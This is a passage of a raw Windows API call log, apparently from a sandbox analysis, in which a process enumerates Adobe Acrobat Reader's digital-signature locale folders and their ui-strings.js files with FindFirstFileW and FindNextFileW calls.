ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x26d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.120] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x26d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.120] FindClose (in: hFindFile=0x3315cf0 | out: hFindFile=0x3315cf0) returned 1 [0277.120] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.120] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0277.120] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.120] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\da-dk\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0277.121] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.121] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x24a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.121] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x24a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.121] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0277.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.121] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0277.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.121] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\de-de\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0277.122] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.122] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.122] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.122] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0277.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.123] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0277.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.123] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\en-ae\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0277.124] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.124] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2364, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.124] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2364, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.124] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0277.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.124] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0277.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.124] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\en-gb\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0277.125] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.125] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0277.125] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0277.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.126] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0277.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.126] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\en-il\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0277.127] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.127] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2364, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.127] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2364, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.127] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0277.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.127] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0277.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.127] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\es-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0277.127] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.127] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2747, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.128] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2747, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.128] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0277.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.128] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0277.128] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.128] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\eu-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a70 [0277.129] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.129] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x25ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.129] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x25ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.129] FindClose (in: hFindFile=0x3315a70 | out: hFindFile=0x3315a70) returned 1 [0277.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.129] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0277.129] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.129] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\fi-fi\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0277.130] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.130] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2666, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.130] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2666, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.131] FindClose (in: hFindFile=0x3315bf0 | out: 